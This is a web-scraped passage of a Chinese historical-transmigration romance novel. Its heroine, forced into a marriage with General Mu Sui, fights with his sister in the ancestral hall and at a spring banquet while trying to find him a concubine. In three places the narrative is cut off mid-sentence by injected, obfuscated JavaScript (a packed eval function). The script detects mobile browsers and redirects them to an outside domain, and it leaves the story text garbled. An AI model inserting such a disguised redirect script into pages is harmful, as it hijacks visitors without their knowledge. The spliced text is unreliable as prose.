独自跪在陌生牌位前的叶星澜泪水吧嗒吧嗒往下掉,心里不住地骂道:“爹的,该跪的人应该是他才对!时间掐得这么准,在这儿装好人......穆随,装货一个!” 天已经黑透了,隐约传来打更人的叫声,被下令守在祠堂门口的人才离开。 在祠堂的角落暗处,穆随的目光始终追随着躺在蒲团上的少女。 她一手拿着鸡腿,一手拿着苹果,边吃边说,“这鸡腿有点柴了,味道一般.....” 少女吃饱后把骨头果核全埋在香灰里,接着又大大咧咧地躺在地上,把蒲团当作枕头。 大概过了一炷香的时间,穆随见躺在地上的人没有动作,才悄声走近。 他蹲在少女的身边。 胭脂色的裙摆和一双绣工精巧的鞋泥泞不堪,看不出颜色,黑发里别着的花簪也沾满灰尘,没了光彩。 而熟睡的人却全然不在意,更不管鼻尖通红,满脸泪痕,甚至唇角的油渍也没擦干净。 少女翻了个身,腰间掉出一本册子,封面上有颗星星。 穆随拧着眉捡起,一页页翻开,里面居然记录的是祠堂翻修的过程,从匠人修木制瓦,到横梁摆放。 除了清秀工整的文字外,每一片瓦的形状,每一扇窗的花纹,真是每一根梁的长度全都等比例被缩小画在纸上。 想起她是被自己指派到祠堂的监工,穆随后知后觉地抬头,原来这白烛照亮的祠堂早已焕然一新。 心中一种异样的情绪促使他继续翻着册子,看清她写下的文字,穆随的眼底不自觉染上几分笑意。 “像是在街上要了一天饭,依然破碗空空,回桥洞的路上又摔进沟里,最后捧着磕掉的牙饿晕过去,梦里大鱼大肉却没牙啃,只能看着流泪的乞丐。好无力,命好苦。” 4. 兄妹 睡得正香,隐约感觉有人在叫自己的名字,不过不是“晏微”也不是“叶星澜”,而是“阿星”。 叶星澜虚虚地睁了只眼,看清来人是阿宁后放心地翻了个身,让不停拍她肩膀的手扑了个空。 阿宁催她赶紧起来。 本来就吃不饱,现在睡不好心里更是一窝火,她平躺着蹬了两下腿算是出气。 阿宁蹙眉弯腰捡起一件亮墨色的貂裘:“这是谁的?你昨晚盖着睡可觉得冷,要不我再回去给你拿件厚衣服来。” 还躺在地上的人睁开一只眼,粗略扫了眼被阿宁左右翻看的貂皮大衣,没有一点印象。 没了睡意但依然赖地不起的叶星澜伸了个懒腰,哈欠道:“难怪凌晨的时候我出一脑袋汗。不过这大衣挺保暖的,来年这里若是下雪的话,我们也买一件。” 阿宁把那件大衣叠好放在一旁,“这会儿大家都还没醒,我让小厨房偷偷做了你喜欢吃的烧鹅,你昨晚一定没吃东西吧......” 丞相夫人倒是对叶星澜这个干女儿很是上心,嫁妆备得丰厚不说,除了阿宁贴身服侍,连带月嫂厨子花匠马夫全是出嫁前一天新招来的。 刚好祠堂翻修她负责监工,每天早出晚归,白天在酒楼吃宴席,晚上回小厨房吃家常菜,完美避开和慕家任何一个有话语权的人碰面。所以到现在她这个新妇都还没和大家正式地吃过一顿饭。 不吃也好,省得被人家当盘菜挑来挑去。 食盒里飘出浓郁的油脂香气,在短短的几秒钟里,食欲最终战胜睡意。她咽了咽唾沫,支起双膝一骨碌从地上爬起。 阿宁递来一只火候恰到好处的鹅腿,她突然想起自己昨晚吃过的鸡腿。她用肩膀蹭了蹭阿宁的手臂,有些得意:“其实我昨晚吃了东西,没想到吧。” “府里有人给你送吃的?”阿宁一脸疑惑。 “穆家人可没这么好心。”叶星澜扭头指了指身后的牌位前的贡品,窃窃地笑,“我掰了只鸡腿,还吃了苹果。” 阿宁一下就瞪圆了眼,连连起身朝后走去,“这里是祠堂,你怎么能吃贡品呢!你就是饿着也不能吃贡品呀,要是被他们发现肯定又要受罚了......” 叶星澜盘腿坐着,好不惬意地啃着烧鸭,心里暗想,这阿宁变脸的速度比她吐骨头还要快,明明上一秒还担心她饿肚子,现在又责备她没礼数。一个两个的天天把礼貌教养挂在嘴边,又不能当饭吃。 叶星澜没好气地翻了个白眼,边把骨头嚼烂:“你把盘子转个方向就没人发现,大不了就说是老鼠吃了。” 身后的指责声骤然消失,叶星澜以为阿宁默默照做。谁知阿宁脸色沉重地走近:“你昨晚是饿晕过去的吗?” 这个玩笑听起来着实心酸,叶星澜把骨头吐在食盒里,“呵呵——没差别。” “那烧鸡是完整的,苹果也没有少啊。” 见阿宁一脸认真不像是在开玩笑的样子,叶星澜赶忙起身,手里还捏着吃了一半的鹅腿,把牌位前装烧鸡的盘子三百六十度转了个遍,呆了两秒后又把插着香烛的烟灰拨开,依然空无一物。 她的眼睛一下瞪得比阿宁还要大:“难道慕家的祖宗里有仙女教母!?” “何为教母?”阿宁问。 解释不清楚也懒得解释,她继续咬着鹅肉,含糊道:“算了,你就当闹鬼了吧。” 阿宁突然往叶星澜身上靠,脖子缩在衣领里,怯怯开口:“这里不会真的有鬼吧,你别吓我。” 天还没亮透,窄小的窗外依然没有光景,摇曳的白烛照亮一支支牌位,淡淡的光圈堪堪将两人笼罩住,红色的桌布被风微微吹动,挑高的屋檐极具压迫感,四下寂静无声。 意识到这里是信奉鬼神论的古代,自己的话给人徒增恐惧,叶星澜拍了拍女孩的肩膀,把嘴里的肉咽进肚子里,改口说:“我的意思是我这个馋鬼饿晕了,也许我是在梦里吃的。” 坚定的唯物主义者不信神鬼,但骨头和果核确实消失得无影无踪,被偷吃的烧鸡也完好无损,还有这件貂皮大衣。 半夜做好事不留名,穆家谁有这么好心? 一个巨大的问号压在叶星澜的心头。 还没来得及思考,一道清脆但极度令人倒胃口的声音穿透耳膜,啃着骨头的后槽牙闻言停了下来。 “祖母让她在这里罚跪,不是让她来享福的,谁允许你给她送吃食的!” 少女一袭红裙,俯视着歪在蒲团上抱着食盒吃得满嘴油光的叶星澜,全身上下,每一根头发丝都散发着刁难的意味。 又是穆大将军的妹妹。 还没填饱肚子,叶星澜有心无力,把卡在喉咙的最后一块肉吞下去,抬头淡淡地扫了少女一眼,“你叫什么名字?” 少女愣了一瞬,接着勃然大怒:“你居然连我的名字都不知道,到底有没有人教过你规矩!” “将军唯一的妹妹,慕岚风。”阿宁在旁边小声提醒。 人如其名,这个木兰确实挺疯的。 叶星澜皱了皱眉,放下怀里的食盒,一边站直腿一边擦干净唇角,懒洋洋道:“你要是实在没事做的话,上去补补屋顶昨天被我踢下来的瓦片。” 养尊处优惯了的人怎么做得来这种事。“疯木兰”拍掉叶星澜指着房檐的手,嚷道:“你不仅没有好好罚跪,还敢指使我。你在这里偷吃,难道不怕祖宗惩罚你吗!” “我一不是穆家人,二没做亏心事,我有什么好怕的?”叶星澜耸耸肩。 “你既然嫁进了将军府,只要哥哥一天不把你赶出门,那你便生是穆家人,死是——” 没等人把穆家鬼三个字还没说完,叶星澜没好气地大声打断:“你们穆家人是什么很好的人吗!这世界上男人大把抓,你要是知道谁愿意嫁给你哥哥这样鬼煞阎王的人可千万要赶紧告诉我,我一定拿了休书马上就走。真是谁嫁进你们家谁倒霉。” “你、你、你——” 要论起打嘴炮,叶星澜根本不在怕的。 “疯木兰”越是气越是语塞,她越是兴奋,学起“疯木兰”的语气,更加肆无忌惮地挑衅:“两个耳朵之间夹着回族禁忌的人还有什么要说的,没有就赶紧走,别打扰我休息。” “疯木兰”气得眼珠都快滚出眼眶,最后憋出一句:“我要去告诉祖母。” 这是打了败仗要搬救兵。如果是新婚第一天,叶星澜可能会怕,那时她还想着要夹着尾巴做人。可现在的她完全是另一个想法了。 她抬起下巴冲气急败坏的“疯木兰”的背影咂舌:“啧啧啧,打狗要看主人,可是打疯狗不用。” 没等叶星澜重新拿起半边烧鹅,“疯木兰”突然折了回来用力拽住她盘起的发髻,龇牙咧嘴道:“你说谁是狗!你居然敢说我是狗!你看我怎么教训你!” 头发散开,被人从后硬扯着,头皮痛得发麻,叶星澜的双膝不受控制地扑通一声跪下,尖叫声都不足以表达疼痛。 向来喜欢披头发的叶星澜第一次觉得长发碍事,要是这时手上有剪刀,她恨不得把被人揪住的头发全剪了,一点也不可惜。 见叶星澜落了下风,阿宁连忙去拉“疯木兰”的手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423299|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可这将军妹妹不是吃素的,力气不是一般的大。阿宁不但没拉开,还被人一把推倒,后仰着坐在地上。 “疯木兰”掐着叶星澜的下巴,恶狠狠道:“你有本事再说一遍!你才是狗!” “咳咳——”叶星澜倒吸凉气的间隙猛烈咳嗽两声,依旧嘴上不饶人,“你是。疯狗咬人!” 趁着骑在自己背上的女孩低头时,叶星澜飞速抬手同样揪住她鬓角的一撮头发,另一只手胡乱地去抓女孩逐渐狰狞的脸。 “你给我松手!” “你先松——” “你先松!” “我命令你给我松手——” ...... 两个年龄不相上下的女孩就这么拽着对方的头发,不顾颜面地抓着对方的衣领,在列祖列宗前翻滚一圈又一圈。此起彼伏的尖叫声惊扰了树枝上正要啾鸣的鸟雀,鸟儿们纷纷拍着翅膀飞走。 跟着两人满地跑来跑去的阿宁也慌了神,正准备去找人来劝架时,突然瞥见门口出现一道高大威严的身形。 穆随一夜未眠,好不容易解决完军营闹事,本想趁早上无人时来和晏微解释。可看见祠堂里扭打在一起的两人,眉宇间的疲惫瞬间被震惊和怒气所取代。 腰间的佩刀和腰间的挂坠因为迈出的大步而碰撞出清脆的声响,可对两个打得发了狠,忘了情的人毫无威慑力。 穆随站在两人面前,沉声命令道:“你们两个都给我松手。” 两人连看都没看他一眼,只凶狠地瞪着对方。 “你先松!” “你先!” 穆随俯身分别握住两人的手腕,大力将两人分开,站在脚步踉跄地两人中间,不容置疑道:“在祠堂大打出手,还是女子!真是目无祖先,毫无规矩可言。在祖母发现前,你们都给我回屋好好反省。” “疯木兰”死死盯着叶星澜,鼓着腮帮子,胸脯剧烈起伏着:“你不能走,你必须在这里跪够三天。” 脸、脖子、手臂都被划出血痕,铁锈味在浅浅伸出的舌尖晕开,叶星澜本来就一肚子火,这会儿听了两人的话更是怒气涌上心头如山倒。 她用蛮力挣开穆随的手心:“休书的事情我晚点再找你算账,你给我等着。” 见穆随还牵着对面女孩的手,叶星澜紧忙扭头牵起阿宁的手,在转身前冲疯木兰叫嚷道:“我就走,就不跪!你这么积极,这么有孝心,你跪好了。” 虽然完好如新的祠堂是叶星澜一手监督完成的,但经过了这么煎熬的一天,她对穆家祠堂没有好感,全是厌恶。 背影彻底消失在视线中后,穆随才松开女孩的手,厉声道:“你为何对她动手?” “是她先骂我的。” 作为长兄的穆随深知这个妹妹是骄纵惯了才会脾性这样不好。但她和人动手,除了孩童期,今天还是第一次。 “她说你什么了?” “她说我是狗。不仅如此,她没有好好罚跪,还吃东西。呐,证据都在这。” 顺着手指的方向,穆随看向撇在角落,半只似鸭似鸡的骨架。不免心想,跪了一晚还能吃吃喝喝,心态倒是比许多将士要冷静、乐观。 片刻后,穆随又板起眉眼:“再怎么样,她也是你嫂嫂,你不能同她动手。” 听到哥哥帮别人说话,少女气愤在原地跺脚:“我不要她当我嫂嫂。哥,你什么时候休了她?我看她也正有此意。” 摆放灵牌的桌边,穆随弯腰拿起掉在地上,染了灰的貂裘,边拍边说:“圣上亲自指婚,岂是说休就能休的。” 5. 金簪 从祠堂飞奔回来,叶星澜本来准备睡个三天三夜以弥补昨晚的艰难困苦。可阿宁非把她按在铜镜前,对着她那张花容尽失的脸蛋擦药。 “嘶——”叶星澜倒吸着凉气把头往阿宁的另一侧躲,“好痛,轻点。” “让你别和她吵架,我看她比你高比你壮,就知道她下手一定不轻。你看吧......别躲了,这里还没擦呢。” 阿宁嘴上抱怨,手里也没停。哪怕是一点点伤痕也逃不出她的火眼金睛。 被强行脱下外衣的叶星澜趴在床榻上,耐不住痛,挤眉弄眼地大肆吐槽:“人都打到家门口来了总不能躲着,省得她以为我是什么好欺负的。哎呀,又不是只有我负伤,她脸上的伤没个三五天也不能见人。” 想起“疯木兰”那张傲慢的脸最后也狼狈至极,叶星澜不由得心生快意。 “可是你这些伤口也得三五天才能痊愈。” “这个‘疯木兰’真像只疯狗,逮住我就咬!” 阿宁放下手心握着的药罐:“什么疯木兰?” “我给她起的外号,意思是她疯疯癫癫的。” 叶星澜不觉得给人起外号这事不好,毕竟她脸上毫无章法的抓痕全都是出自“疯木兰”之手。 阿宁说:“我听府里的人说她自幼就是被家中长辈捧着长大的。除了老夫人和将军的话,谁的话她都不听。也难怪,她连亲嫂嫂都敢打。” “要我说,这穆府上下就数她最没教养。” 阿宁为她梳开凌乱的长发,“诶,不是都说人如其名,可我看她就是个例外。我前两天看见她的名字,岚风飞净明彩霞。” “岚风?”叶星澜不确定地重复道:“不是女将军花木兰?” 阿宁跟着晏微长大,识几个字。她在叶星澜的手心里一笔一画地写:“她的名字才不和人一样泼辣。” “岚风,穆岚风。”叶星澜低声重复后粲然一笑,“倒挺好听的。” 和穆岚风虽然揪住彼此不放,但谁都没下狠手,不过是想给对方一个警告。反正脸上的伤过几天就好了,被扯掉的头发更是不值一提,就当是被凶狠的野猫挠了。 放松戒备后的叶星澜躺在床上正要进入梦乡,可门外似有穆随的声音,瞬间困意全无。 在门被推开的同时她下意识从床上爬起,只见穆随错愕地看了她一眼后立刻转过身去。 难道古代也有垫肩?怎么他的肩膀能绷得和水平线一样笔直。 叶星澜抢在他之前开口,气呼呼道:“你到底什么时候给我休书?” 迟迟没有转身,穆随像是一个无能又无奈,最后被妻子奚落的丈夫。他把手里的小罐子放在桌上,声音莫名哑了:“药膏我放这,你记得叫丫鬟帮你上药。” 故意转移话题来掩盖真正的矛盾。 哪怕现在他真的出于怕得罪皇帝,没办法给休书,那总得有个时间节点吧。不然她每天只能像怨妇一样可怜巴巴地等,这要等到猴年马月? 不想白白浪费时间,她甚至连鞋都来不及穿,在穆随就要挥袖离开时以百米冲刺的速度跑到他面前,张开手臂拦住他:“你不准走,你今天必须给我一个明确的——” 还有一半的话卡在嗓子眼里,后背突然被一股不可违抗的力量包裹住。 穆随握着她的肩膀,两人的距离瞬间拉近。她的额头抵在他的胸膛,藏黑长袍衣襟处的暗纹在阳光的照射下显露出来。 叶星澜不解地抬头,男人亦皱眉盯着她,喉结滚动地迅速又用力:“成何体统。” 她还没反应过来,双脚瞬时悬空,世界也跟着颠倒过来。 穆随就这么一点也不怜香惜玉地把她扛在肩上,迈着大步朝床的方向走去。 他不会是无能狂怒想来强的吧! 婚内□□也是□□! 可这里是古代! 叶星澜吓得两脚乱蹬,吱哇乱叫,想抓他的头发却发现他今天是束发,只能有一下没一下地用力捶着他的后背。 “你放开我,我警告你,你休想——” 又是剩一半的话没说完,她跌入柔软的被褥里,视线一片漆黑。是穆随用被子把她整个人都裹了起来,严严实实,连一缕光线都不曾溜进。 “下人面前衣不蔽体,你难道不知羞?” 叶星澜大口喘着气,被他这么一提醒才想起来自己在睡觉前脱了个干净。但也没到衣不蔽体的程度,明明穿了长衣和长裤。 她蹬着被子,朝被子狠狠出拳,大声道:“你别以为这样就能pua我,我根本就不在意,我只想要休书。你到底什么时候把休书给我!” 隔着被子,看不见穆随的表情,只听见他的声音变得低沉,隐约透着一丝丝无奈。 “圣上昨日才问及你我婚事,他对这桩婚事甚是满意。倘若这时我提出休妻,若再有人借此参我一本,说我实存逆反之心,我当如何辩驳?” 新婚燕尔之际就提出休妻,明摆着是对皇帝的安排不满,有心之人借题发挥一下,皇帝不仅会问责穆随,恐怕晏府也会受牵连。 虽然穆随说得很有道理,但叶星澜还是不愿意服软,强硬道:“关我什么事!你出尔反尔,言而无信,谎话连篇。” “给我一年时间。我定会想办法向圣上请旨和离,来年你就不再是穆府少夫人。” 一年! 比离婚冷静期还久! 想要逃离的心再迫切也没办法对那么多条无辜性命不管不顾,眼下确实没有更好的办法。 一年,说不定很快就过去了,说不定这一年里穆随会纳妾,有新的人进来说不定穆家人就不会再针对她了。 只能怪自己倒霉,穿到这个无亲无故的世界,还不知天高地厚地替人结婚,落得现在的下场也是咎由自取了。 除了接受现实别无他法。她暗骂自己:叶星澜,你真是万里挑一的蠢!亏你还是读了大学的! 成功一拳把被子打开后,穆随早已不见踪迹,桌上摆着的小药罐竟然还在,还以为穆随会因为吃了瘪而收回好心。 看来这人倒也没那么小心眼。 叶星澜气鼓鼓地在床上翻来覆去,计划不得不从拿到休书,变成如何安然无恙地捱过这一年。 不然赶紧给他物色个喜欢他的女孩,反正穆岚风说追他哥的人没有一千也有八百。 给人牵红线,成就一对有情人,也算是在这个世界积德积福了。 叶星澜在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423300|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉睡前最后咕哝道:“好办法,要我说,这皇帝就该我当。” 春日宴。 说得好听了就是城里的少爷千金们聚在一起赏花品茶,吟诗作对,但其实就是凑在一起蛐蛐这个,蛐蛐那个,八卦得很。 而且照叶星澜看了这么多小说和电视剧,没有一次聚会是不出事的。要么是捉奸,要么是马疯了顶撞了人,要么是饭菜有毒,严重的话就是有人起兵谋反...... 叶星澜不想卷入无端麻烦,借病推辞。 可祖母说这请帖三天两头地往里送,还指名道姓写着晏微的名字,摆明就是她这个将军夫人必须露面,这次不去,还有下次,下下次。不可能次次都病着。 躲得过初一,躲不过十五。 她对这位毫无血缘关系的祖母也怀有敬畏心,尤其是对上那双苍老有力的眼睛,她引以为傲的小伎俩顶多被称为小孩子把戏。 没办法,只能去。 叶星澜让阿宁挑了最好的衣裙,毕竟他们这个世界的人都是先敬罗裙再敬人。 就在她要迈出门槛时,一位身穿黑袍,肤色黝黑,面颊微微凹陷的男人抱着箱子火急火燎地停在她面前,声音铿锵有力:“少夫人,将军今日有要务在身不能陪您同去,他命我将这套金钗首饰交于您。” 听见他不去叶星澜不免激动了一下。她扫了一眼男人手里端着的箱子,果断拒绝:“我不要。” 见男人仍然一副双手奉上不为所动的姿势,叶星澜打算绕着人走。可她往左一步,男人就往左,她往右一步,男人也跟着往右,成心和她作对似的。 “我说了不要,你送回去吧。”叶星澜站在原地,双手叉腰。 “此乃将军死令,属下不敢违逆。” 不过一个簪子,就要对一个跑腿的下死令。穆随别太过分了。 叶星澜不好再为难人,亲手接过那盒子,大手一挥:“行了,你回去复命吧。” “将军还有令,少夫人必须戴着这套首饰上了马车我才能回去,不然还是死令。”男人一本正经地说,丝毫没有对穆随的怨恨,看起来还有些乐在其中。 叶星澜无奈,转身对阿宁说:“重新帮我梳妆打扮吧。” 虽然一早戴好的首饰也贵重精致,可穆随送来的这一套在打开箱子的瞬间就叫人移不开眼。金闪闪的花鸟图样稍微动一动就像活物似的,栩栩如生。 换了新的首饰,叶星澜在铜镜里照了又照。 虽然是个体育生,但艺术审美还挺在线。 脸上的疤因为擦了穆随带来的药膏早就完好如初,再加上身上这套价值不菲,做工复杂精致的纱裙,整个人都比刚才看起来要金贵许多。 夸张了说,随便掉落一个部件都够她在现代买一套房的程度。 走进游廊,叶星澜注意到大家纷纷将目光转向她,窃窃私语着什么她听不清楚,但依稀能听见裙子首饰这类的字眼。像明星一样备受关注,于是她把腰板挺得更直了。 等她稍微冷静一些,又觉得不对。 这些赞美都离不开这金簪,恰好这金簪是穆随送来的。由此可知,穆随送这簪子的用意就是想让大家觉得他对她很好,至少在物质方面是很好。 6. 抢占 因为谁也不认识,她挑了个离人群远些又安静的位置坐下,等待一个有缘人。谁能主动和她搭话,谁就是有缘人。 长廊蜿蜒曲折,古木参天。从树叶间隙泄下的阳光为湖水镀上一层金粉,湖水又倒映出颜色各异却又融合地恰到好处的花色。鱼儿游出的涟漪,为湖中画更添一丝宁静。 叶星澜闭着眼一边享受一边感慨,园林造景还得是老祖宗厉害。 她正陶醉,椅子却被人猛地踢了一下,连带她的屁股都差点和椅子分开。 还是一袭夺目的红裙。穆岚风扬起下巴,依旧是那副气势凌人的模样,只是一侧的脸颊还有浅浅的红痕。 叶星澜知道那是她的手笔,心中忍不住窃喜。 穆岚风没好气地又轻踢了下椅子腿,“你最好赶紧换个地方,这里不是你的位置。” 叶星澜打开并拢的膝盖,扎扎实实地坐在椅子上,给她一记白眼:“这又没写名字,我坐了就坐了。” “谁不知道宴会最角落的位置是许公子的,你不能坐在他旁边。” 穆岚风瞪着叶星澜,叶星澜也瞪着她,声音不大不小,刚好把附近人的注意力都吸引过来。 “我又没坐他身上,你管这么多。怎么,你对他有意思啊?” 像是被人说中心事,穆岚风本就气得泛红的脸一下变成快要爆炸的红色气球。 安静了几秒,穆岚风垂下的双手握了握拳又松开,像是下定了某种决心似的,坚定道:“我和他有婚约,难道不能心悦于他?” “所以你想挨着他坐?” “当然。” 一个未出阁的女子能当着能在公共场合表明自己的心意,倒有几分胆量,不愧是将门之女。 内心对穆岚风产生了一丝钦佩,叶星澜从周围人讶异目光中收回视线,同时更加坚定自己的想法。 叶星澜学着她刚才的模样,稳如泰山地抱住双臂,下巴一抬:“我也想挨着他坐,我不换。” 穆岚风双手叉腰气焰嚣张,叶星澜手端茶杯岿然不动。水火不容的气氛就这么僵持了几秒。 众目睽睽之下被抢走和心动嘉宾互动的机会,刁蛮任性的将军妹妹怎么会善罢甘休。 叶星澜偷偷关注着旁边人的一举一动,其实心里早有准备,如果穆岚风再抓她头发,那她就把杯里的茶水泼她头上。水温刚好够洗头发。 可穆岚风气呼呼地站了一会儿后甩开袖子地掉头就走,令人意外。 周围嘁嘁喳喳的声音传进叶星澜的耳朵里。大家议论她一个有夫之妇竟然当众与小姑子争夺,争夺的还是小姑子的未婚夫。 有违人伦,大逆不道。 叶星澜无所谓,甚至希望大家传得越离谱越好,说不定穆随一怒之下就把她休了。 吟诗作画,交友攀情,这些古人的聚会项目叶星澜不感兴趣也不擅长,她就一直坐在自己挑选的位置上喝茶吃点心水果,吃到有些撑了决定起来消消食。 谁知一个转身,额头撞上一个坚硬的物件,她摸着额头“哎哟”一声,头顶落下一道刚毅有力的声响。 “你为何独自一人?” 叶星澜后撤两步,视线顺着穆随胸口佩戴的玉佩慢慢上移,停在肃穆的面庞上。 这男人怎么总是神出鬼没。 穆随会有这样的反应完全拜周围八卦群众所赐,毕竟没有一个男人能接受被当众戴“绿帽子”,哪怕是谣言。 “言谈举止大胆逾矩,明明知道许公子和岚风的关系,却还要与岚风争执。” “你没听见她刚才说的吗,她说她也要和许公子一起观景赏花。啧啧啧,难怪穆将军会如此生气。” “不守妇道,心思龌龊,恬不知羞......” ...... 穆随看着面前还在东张西望的女孩,冷声道:“你可知许公子是何身份?” “你妹妹的未婚夫。”她耸耸肩,对周围的声音充耳不闻。 心里似有小小火苗向上窜,穆随的嗓音不自觉多了分狠戾:“你既知,为何不避嫌?大庭广众之下惹人口舌。” “谁让她好端端地非要踢我的凳子。”女孩撇着嘴侧开身子要走,“现在这个座位我不坐了,你来得正好,这位子我让给她了,你去把她叫回来吧。” 穆随握住她纤细的手臂,唇线绷得平直,周身散发着一股摄人可怖的气息。 虽然叶星澜敢怒敢言,但被人突然大力拽停在原地,下意识以为他要当众教训她,不自觉为自己捏了把汗。 周围人纷纷向力量悬殊的两人投射来好奇和惊讶的目光。 到底是武将,一巴掌拍下来这个瘦弱的身板定是站不住。叶星澜屏住呼吸,眼睛却不服输地瞪着他。 穆随冷不丁开口:“岚风她性情骄纵,并非有意惹怒你。” 虽然是穆岚风先招惹她的没错,但她也确实是说了混话,才惹得穆随莫名其妙被带了顶“绿帽子”。被人指着脊梁骨议论还能冷静道歉,确实大度。这会儿她要是再不下台阶,那不知好歹的人就是她了。 吃软不吃硬,况且叶星澜对这招非常受用。 她一副“大人不记小人过”的气度抬了抬下巴,摆手道:“这位子我本来也是随便坐的,又不知道旁边有人,也没人告诉我,但是她上来就踢我,害得我差点摔跤,那我总不能任她欺负吧......总之,我现在不坐了,让给她。” 穆随淡淡地“嗯”了声,垂眸看她。叶星澜倒不适应了,扭捏了两下手臂,“嗯什么嗯,你倒是放手啊。” 穆随从她脸上收回目光,却对她的诉求置若罔闻,而是将手掌下滑到她的手腕处,不由分说地将她带往别处。 被连拉带拽着穿过一条较为狭窄的石子路,翻飞的淡粉色裙摆擦着玄色长袍。有好几次叶星澜都差点踩上穆随的脚后跟。 等叶星澜好不容易跟上穆随的脚步时,两人已经站在了视野更加宽阔的圆亭下。 远离了人群,却又不至于完全脱离。自上而下地将大家的一举一动看得清清楚楚,俯瞰整座园林又是另一番风景。 “人多眼杂,你既喜静,不如在这里。”穆随松开她的手,迈腿移至圆亭木栏边,目视远方,似是欣赏美景。 突然的示好是什么意思?单纯为了站得高看得远,还是站得高更能凸显他的地位和身份不一般? “这支簪子很配你。”穆随转过身,逆光的五官有些模糊晦暗。 叶星澜顺着隐约而来的视线向上瞟,感谢的话停在舌尖,最后又因为穆随的装货发言咽了下去。 “这支金蝶花簪曾是皇后娘娘赏赐的,京城独一件,需得好好珍藏。” 京城独一件。果然,他让她戴这么金闪闪的簪子就是想接她来显摆的。那么刚才,他在那么多人面前看似沉着冷静,其实也是为了保住脸面。 一股无名火很快又烧了心,但念在两人前几日才协商好休妻,怕他不高兴再反悔。叶星澜着裙摆,摆出笑脸凑到他身边:“今天来了不少千金小姐,将军可有心仪的?” 穆随隐约扬起的唇角又绷紧,不接话。 随手指了个人群里面若桃花的女子,叶星澜说:“那个人品好,长相佳。我看她刚刚一直偷偷看你,应该对你有意思,你要不要和她聊聊天,这么好的机会。” “你怎知崔小姐品行?”穆随斜她一眼。 只关注人品,没问长相,那就是认可美貌。叶星澜想他尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423301|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早纳妾的兴致一下就上来了:“刚刚大家都说我不守妇道红杏出墙,只有她没有,可见品行端正,和将军简直绝配。” “崔家家风严厉,对晚辈素来教导有方。京城都知崔小姐知书达理,善解人意。她看我不过是因为她与岚风自幼便是好友,她知岚风脾气与本心,当然不会与常人一般乱嚼舌根。” 叽里呱啦说了崔家小姐一堆好话,叶星澜笃定他对人家有好感,只是碍于婚约不可违。幻想完俊男美女的双向暗恋,想要化身月老的念头更强烈。 她更加兴奋道:“那她既然和你妹妹认识,你妹妹肯定不会反对,她嫁给你岂不是亲上加亲!” “荒唐。”穆随紧蹙着眉,言辞义正地拒绝了她的提议,“崔小姐为翰林学士之女,虽不及你身份尊贵,但也绝不可能下嫁为妾。” “你不试试怎么知道呢?而且她嫁给你,一年之后就是正妻了。” 叶星澜眼里闪着喜悦的光芒,可穆随全当看不见,离开前丢下一句话:“家规有言,穆氏男子均不得纳妾。” 家规里有吗,难道是那天她没翻到最后一页?而且这里是古代,纳妾又不违法,他在装什么专一深情? 说到专一深情。叶星澜一拍巴掌,更加认定穆随是喜欢崔家小姐,不愿意让心上人为妾,但又因为一时半会儿离不了婚,他就只能把家规搬出来好让自己死心。 既然郎有情妾有意,那她也不能棒打鸳鸯,说不定撮合撮合,这两个人一年后幸福美满,她也能全身平安而退。叶星澜想入非非,听见有人组织移步到别处赏花,她也积极起来。 提起裙摆就往人群的方向走,恨不得立刻跑到崔家小姐身边,抓着崔家小姐的手问她愿不愿意嫁进将军府。 走出圆亭时只见人群的尾巴,叶星澜不得不在小桥上加快脚步,正要下到最后一级台阶,又被一双红色的绣花鞋拦住去路,不用看也知道来人是难缠的“疯木兰”。 穆岚风张开双臂,挡在她面前,蛮横道:“你不准走,你还没和我解释清楚你对许公子到底是何意?为何今天要抢我座位!” “座位又没写你的名字,你自己手慢无还要怪我。”叶星澜没好气地翻了个白眼,努力去推她的手臂,“我现在真没空陪你闹了。” “你到底有没有羞耻心,明明嫁给哥哥了,还要出来胡言乱语,丢人现眼,不知廉耻......” 四个字尽是不好听地往外蹦,叶星澜咬住牙根也没能推动穆岚风半分,想来这大小姐确实娇生惯养,否则怎么养出这一副强壮的体格。 一个不让过,一个非要过。 两人在没有护栏的木桥上较起劲来,不知不觉间又互相拽住了对方的衣裙。 “男人可以三妻四妾,女人怎么就不能心猿意马。而且我与你哥哥本来就是奉旨成婚,你难道不知道强扭的瓜不甜这个道理吗!” “我才不管你是不是心甘情愿,但你处处与我作对,还动了不该动的心思,你今天不解释清楚,就别想走!” 眼看两人拉扯纠缠到了桥边,叶星澜深感不安,太阳穴也突突地跳了起来,她又改口说:“我对你的许公子没有意思,我连他的面都没见过。” “真的?” “我既不喜欢你哥哥,也不喜欢什么许公子,你赶紧给我松手。” 